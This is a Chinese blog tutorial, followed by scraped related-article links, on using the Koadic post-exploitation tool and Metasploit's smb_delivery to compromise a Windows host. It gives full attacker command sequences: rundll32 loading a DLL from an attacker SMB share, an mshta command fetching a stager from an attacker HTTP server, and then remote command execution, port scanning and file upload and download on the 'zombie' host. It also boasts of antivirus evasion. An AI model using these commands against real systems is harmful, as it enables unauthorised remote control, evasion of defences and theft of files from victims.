koadic是DEFCON黑客大会上分享出来的的一个后渗透工具,虽然和msf有些相似,但是Koadic主要是通过使用Windows ScriptHost(也称为JScript / VBScript)进行大部分的操作,其核心兼容性支持WindowsXP到Window 10的环境中使用,Koadic的相比于其他的后门程序来说更轻便,该工具通过调用系统的一些命令来完成Shell的反弹工作,因为调用的是系统的模块,所以天生免杀。你只需要在目标主机上执行一条命令,即可完全控制目标主机,该工具在圈内有一个别名:大宝剑,对于一个热衷于后渗透测试的人员来说,算的上是,"居家旅行,杀人越货"必备良品了!

再开始使用Koadic之前,我们先通过使用smb_delivery完成一次反弹。要使用此方法,我们先来通过MSF来启动一个服务。

msf5 > use exploit/windows/smb/smb_delivery
msf5 exploit(windows/smb/smb_delivery) > set srvhost 192.168.1.40
srvhost => 192.168.1.40
msf5 exploit(windows/smb/smb_delivery) > exploit -j -z [*] Exploit running as background job 0.
[*] Exploit completed, but no session was created. [*] Started reverse TCP handler on 192.168.1.40:4444
[*] Started service listener on 192.168.1.40:445
[*] Server started.
[*] Run the following command on the target machine:
rundll32.exe \\192.168.1.40\aCxwTB\test.dll,0

我们记下上方的上线地址,rundll32.exe \192.168.1.40\aCxwTB\test.dll,0 ,然后在被害主机执行此命令,然后Kali成功上线,并且杀软没有报毒。

Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。 C:\Users\lyshark>rundll32.exe \\192.168.1.40\aCxwTB\test.dll,0

1.好了,进入正题,默认情况下Koadic工具并没有安装在Kali系统中,我们需要手动下载并安装。

root@kali:~#  git clone https://github.com/zerosum0x0/koadic.git
root@kali:~# cd koadic/
root@kali:~# chmod 755 -R *
root@kali:~# pip3 install -r requirements.txt
root@kali:~# python3 koadic
.
/ \
_ _ | |
| | _____ __ _ __| || | ___
| |/ / _ \ / _` |/ _` ||.| / __|
| / (o) | (_| | (_| ||.|| (__
|_|\_\_^_/ \__,_|\__,_||:| \___|
|:|
~\==8==/~
8
O (koadic: sta/js/mshta)#

2.接着我们就使用一个攻击载荷,这里面有三个比较不错的载荷分别是,stager/js/mshta,stager/js/regsvr,stager/js/rundll32_js,我们以第一个载荷为例。

(koadic: sta/js/mshta)# use stager/js/mshta
(koadic: sta/js/mshta)# set lhost 192.168.1.40
[+] LHOST => 192.168.1.40
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.1.40:9999/A324A
[!] Don't edit this URL! (See: 'help portfwd') [>] mshta http://192.168.1.40:9999/A324A

3.执行完以后,会弹出 mshta http://192.168.1.40:9999/A324A 记下这条命令,并去受害主机执行。

Microsoft Windows [版本 10.0.17763.316]
(c) 2018 Microsoft Corporation。保留所有权利。 C:\Users\lyshark>mshta http://192.168.1.40:9999/A324A

4.成功反弹Shell以后,我们可以使用 zombies 命令查看所以的受害僵尸主机。

[+] Zombie 0: Staging new connection (192.168.1.2)
[+] Zombie 0: DESKTOP-SKVC\lyshark* @ DESKTOP-SKVC -- Windows 10 Enterprise LTSC 2019
(koadic: sta/js/mshta)# zombies ID IP STATUS LAST SEEN
--- --------- ------- ------------
0* 192.168.1.2 Alive 2019-08-12 20:09:24 Use "zombies ID" for detailed information about a session.
Use "zombies IP" for sessions on a particular host.
Use "zombies DOMAIN" for sessions on a particular Windows domain.
Use "zombies killed" for sessions that have been manually killed.

zombies后方添加编号,可以查看具体主机的详细情况。

(koadic: sta/js/mshta)# zombies 0

	ID:                     0
Status: Alive
First Seen: 2019-08-12 20:08:37
Last Seen: 2019-08-12 20:11:24
Listener: 0 IP: 192.168.1.2
User: DESKTOP-SKVC\lyshark*
Hostname: DESKTOP-SKVC
Primary DC: Unknown
OS: Windows 10 Enterprise LTSC 2019
OSBuild: 17763
OSArch: 64
Elevated: YES! User Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0;)
Session Key: 316d78e7a8239880 JOB NAME STATUS ERRNO
---- --------- ------- -------

5.如果需要执行CMD命令可以使用cmd_shell,如下。

(koadic: sta/js/mshta)# cmdshell 0
[koadic: ZOMBIE 0 (192.168.1.2) - C:\Users\lyshark]> ipconfig
[*] Zombie 0: Job 0 (implant/manage/exec_cmd) created.
Result for `cd C:\Users\lyshark & ipconfig`: Windows IP 配置 网适配器 WLAN: 媒体状态 . . . . . . . . . . . . : 媒体已断开连接
连接特定的 DNS 后缀 . . . . . . . :

6.也可以扫描本台主机端口的开放情况。

(koadic: sta/js/mshta)# use implant/scan/tcp
(koadic: imp/sca/tcp)# info NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
RHOSTS yes name/IP of the remotes
RPORTS 22,80,135,139,44... yes ports to scan
TIMEOUT 2 yes longer is more accurate
CHECKLIVE true yes check if host is up before checking ports
ZOMBIE ALL yes the zombie to target (koadic: imp/sca/tcp)# set RHOSTS 192.168.1.2
[+] RHOSTS => 192.168.1.2
(koadic: imp/sca/tcp)# run
[*] Zombie 0: Job 1 (implant/scan/tcp) created.
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 22 closed 80072efd
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 80 closed 80072efd
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 135 open 00000000
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 139 open 80072f78
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 443 closed 80072efd
[+] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 445 open 80072efe
[*] Zombie 0: Job 1 (implant/scan/tcp) 192.168.1.2 3389 closed 80072efd
[+] Zombie 0: Job 1 (implant/scan/tcp) completed.

7.从僵尸主机上面下载一个文件,可以使用 implant/util/download_file 模块。

(koadic: imp/sca/tcp)# use implant/util/download_file
(koadic: imp/uti/download_file)#
(koadic: imp/uti/download_file)# info NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
LPATH /tmp/ yes local file save path
RFILE no remote file to get
RFILELIST no file containing line-seperated file names to download
CHUNKSIZE 10000000 yes size in bytes (kind of) of chunks to save, helps avoid MemoryError exceptions
CERTUTIL false yes use certutil to base64 encode the file before downloading
ZOMBIE ALL yes the zombie to target
(koadic: imp/uti/download_file)# set zombie 0
[+] ZOMBIE => 0
(koadic: imp/uti/download_file)# set rfile c:\lyshark.exe
[+] RFILE => c:\lyshark.exe
(koadic: imp/uti/download_file)# run
[*] Zombie 0: Job 4 (implant/util/download_file) created.
[+] Zombie 0: Job 4 (implant/util/download_file) completed.
[+] c:\lyshark.exe saved to /tmp/lyshark.exe (940602 bytes)

8.上传文件则可以使用,implant/util/upload_file 这个模块。

(koadic: imp/uti/download_file)# use implant/util/upload_file
(koadic: imp/uti/upload_file)#
(koadic: imp/uti/upload_file)# info NAME VALUE REQ DESCRIPTION
----- ------------ ---- -------------
LFILE yes local file to upload
DIRECTORY %TEMP% no writeable directory
ZOMBIE ALL yes the zombie to target (koadic: imp/uti/upload_file)# set zombie 0
[+] ZOMBIE => 0
(koadic: imp/uti/upload_file)# set lfile /tmp/lyshark.exe
[+] LFILE => /tmp/lyshark.exe
(koadic: imp/uti/upload_file)# run
[*] Zombie 0: Job 5 (implant/util/upload_file) created.
[+] Zombie 0: Job 5 (implant/util/upload_file) completed.

有趣的后渗透工具 Koadic的更多相关文章

  1. 带你了解后渗透工具Koadic

    前言: 在朋友的博客上看到推荐的一款工具Koadic,我接触了以后发现很不错这款工具的强大之处我觉得就是拿到shell后的各种模块功能,我就自己写出来发给大家看看吧. 首先把项目克隆到本地: 项目地址 ...

  2. 后渗透工具Empire使用教程

    一.前言 Empire是一个PowerShell后期漏洞利用代理工具同时也是一款很强大的后渗透测神器,它建立在密码学.安全通信和灵活的架构之上.Empire实现了无需powershell.exe就可运 ...

  3. iOS macOS的后渗透利用工具:EggShell

    EggShell是一款基于Python编写的iOS和macOS的后渗透利用工具.它有点类似于metasploit,我们可以用它来创建payload建立侦听.此外,在反弹回的session会话也为我们提 ...

  4. Enumy:一款功能强大的Linux后渗透提权枚举工具

    Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...

  5. 渗透攻防工具篇-后渗透阶段的Meterpreter

    作者:坏蛋链接:https://zhuanlan.zhihu.com/p/23677530来源:知乎著作权归作者所有.商业转载请联系作者获得授权,非商业转载请注明出处. 前言 熟悉Metasploit ...

  6. 后渗透提权辅助工具BeRoot详解

    0x00 工具介绍 前言 BeRoot是一个后期开发工具,用于检查常见的Windows的配置错误,以方便找到提高我们提权的方法.其二进制编译地址为: https://github.com/Alessa ...

  7. Metasploit Framework(8)后渗透测试(一)

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 使用场景: Kali机器IP:192.168.163. ...

  8. 攻击者利用的Windows命令、横向渗透工具分析结果列表

    横向渗透工具分析结果列表 https://jpcertcc.github.io/ToolAnalysisResultSheet/ 攻击者利用的Windows命令 https://blogs.jpcer ...

  9. 对"某V皮"N服务器节点的一次后渗透测试

    i春秋作家:jasonx 前言:由于这个VPN节点服务器是之前拿到的,一直没时间做进一步渗透,昨天看到我蛋总表哥发红包,然后我运气爆表抢了个运气王,再加上好久没发文章了,所以就抽空测试下咯. 0×01 ...

随机推荐

  1. Java并发指南12:深度解读 java 线程池设计思想及源码实现

    ​深度解读 java 线程池设计思想及源码实现 转自 https://javadoop.com/2017/09/05/java-thread-pool/hmsr=toutiao.io&utm_ ...

  2. mysql测试记录

    一直觉得mysql的Memony内存引擎挺好,其他数据库都没有,正好有空,所以试试. 版本:mysql-installer-community-8.0.17.0 os:windows10 SSD硬盘, ...

  3. Facebook币Libra学习-5.Move组织目录

    Move是一种新的编程语言,旨在为Libra Blockchain提供安全可编程的基础. 组织 Move语言目录由五部分组成: 的虚拟机(VM),其中包含的字节码格式,字节码解释器,和基础设施执行事务 ...

  4. 通过OpenCL内核代码猜测设备寄存器个数

    在OpenCL标准中,没有给出查看计算设备一共有多少寄存器,至少能分配给每个work-item多少寄存器使用的特征查询.而由于一个段内核代码是否因寄存器紧缺而导致性能严重下降也是一个比较重要的因素,因 ...

  5. 阶段5 3.微服务项目【学成在线】_day04 页面静态化_12-页面静态化-页面静态化流程

    需要知道数据结构,然后去做模板标签.首先需要获取页面的数据模型.下面的每一条记录都代表一个页面. 比如这个轮播图.就需要提前给这个轮播图编写一个模板 有很多的页面如果知道每个页面的dataUrl.例如 ...

  6. linux---学习3

    1.free命令可以显示当前系统未使用的和已使用的内存数目,还可以显示被内核使用的内存缓冲区. //-m:以MB为单位显示内存使用情况: free -m 2.vmstat命令的含义为显示虚拟内存状态, ...

  7. 关于CAShapeLayer的一些基本操作

    设置圆形进度条: 实现效果如下: 实现代码如下:(注释很详细啦!!!) UIView *circleView = [[UIView alloc]initWithFrame:CGRectMake(, , ...

  8. Saltstack之使用salt安装es6.0以上的head插件

    本实验使用salt安装es6.0以上的head插件 ES6.0以上手动安装head插件参考:https://www.cnblogs.com/minseo/p/9117470.html 文件夹目录为 / ...

  9. LeetCode刷题1——只出现一次的数字

    一.题目要求 二.题目背景 位运算:或,异或,与,移位 三.解题思路 (1)要求算法时间复杂度是线性的,O(n),想到的是先将列表排序,排序后相同的数值两两之间前后相邻,进行偶数次循环,判断两两数值是 ...

  10. Leetcode之动态规划(DP)专题-474. 一和零(Ones and Zeroes)

    Leetcode之动态规划(DP)专题-474. 一和零(Ones and Zeroes) 在计算机界中,我们总是追求用有限的资源获取最大的收益. 现在,假设你分别支配着 m 个 0 和 n 个 1. ...